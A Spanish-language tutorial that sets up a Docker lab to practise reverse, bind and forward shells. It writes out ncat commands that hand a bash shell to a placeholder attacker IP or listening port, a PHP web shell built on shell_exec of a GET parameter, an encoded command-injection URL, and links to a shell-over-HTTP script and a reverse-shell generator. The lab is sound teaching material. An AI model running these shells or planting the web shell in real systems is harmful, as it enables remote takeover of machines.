🐚 Reverse Shell, Bind Shell y Forward Shell
🎯 ¿Qué es una Reverse Shell?
Cuando descubres una vulnerabilidad y puedes inyectar código 🧨, puedes usar una reverse shell para que la máquina víctima se conecte de vuelta a tu máquina atacante, dándote acceso remoto. Es muy común en entornos con firewalls restrictivos.
👨💻 El atacante escucha en su máquina →
💥 La víctima ejecuta código y se conecta al atacante.
🧪 Laboratorio: Reverse Shell con Docker
📄 Crear Dockerfile
Crearemos un laboratiio con docker
creamos un fichero Dockerfile
FROM ubuntu:latest
ENV DEBIAN_FRONTEND=noninteractive
RUN apt update && apt install -y apache2
EXPOSE 80
ENTRYPOINT service apache2 start && /bin/bash
⚙️ Construcción y ejecución
docker build -t my_image .
docker run -dit -p 80:80 --name myContainer my_image
docker exec -it myContainer bash
En la máquina víctima (contenedor):
apt install ncat
ncat <IP_ATACANTE> <PUERTO> -e /bin/bash
En el atacante:
nc -nlvp <Puerto>
nc -nlvp 6969
# nc: Netcat
# -n: No DNS
# -l: Escuchar
# -v: Modo verbose
# -p 6969: Puerto donde escucha

BIND SHELL
Con una Bind Shell, la víctima se queda escuchando en un puerto, y el atacante se conecta a ese puerto. Es útil cuando la víctima puede aceptar conexiones desde fuera.
En la víctima:
ncat -nlvp 6969 -e /bin/bash
En el atacante
nc 172.17.0.2 6969

Forward Shells
Esta técnica se utiliza cuando no se pueden establecer conexiones Reverse ni Bind Shell debido a reglas de firewall. En estos entornos restringidos, suele estar permitido únicamente el tráfico HTTP/HTTPS.
Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe). Este actúa como una consola simulada, donde el atacante puede redirigir comandos y respuestas sin una conexión directa, utilizando tráfico HTTP permitido.
🔧 Práctica paso a paso
- Habilitamos restricciones de red en el contenedor:
apt install iptables
Si os sale este error tenemos que hacer esto

docker stop myContainer
docker rm $(docker ps -a -q)
docker run -dit -p 80:80 --cap-add=NET_ADMIN --name myContainer my_image
docker exec -it myContainer bash
apt install iptables ncat nano net-tools php
Permite solo tráfico saliente por el puerto 80 (HTTP)
iptables -A OUTPUT -p tcp -m tcp -o eth0 --sport 80 -j ACCEPT
Bloquea todo el resto del tráfico de salida
iptables -A OUTPUT -o eth0 -j DROP
Crear archivo vulnerable en nano /var/www/html/
<pre>
<?php echo shell_exec($_GET['cmd']); ?>
</pre>
Si no reconoce php
nano /etc/php/8.3/apache2/php.ini
# Cambiar: short_open_tag = On
Y reiniciar:
service apache2 restart
Accediendo:
http://localhost/cmd.php?cmd=whoami

❌ Si intentáramos lanzar una reverse shell directamente, no funcionaría por las reglas de iptables:
http://localhost/cmd.php?cmd=ncat%20-nlvp%206969%20-e%20/bin/bash
🙌 ¡Gracias al tito s4vitar!
📎 https://github.com/s4vitar/ttyoverhttp/blob/master/tty_over_http.py
🛠️ Modificamos el script, le ponemos la ruta de nuestro cmd.php vulnerable, y lo ejecutamos para tener una shell interactiva:

🌐 Página útil para generar Reverse Shells
🔗 ReverseShells.com – Generador online con soporte para múltiples lenguajes y configuraciones 🎯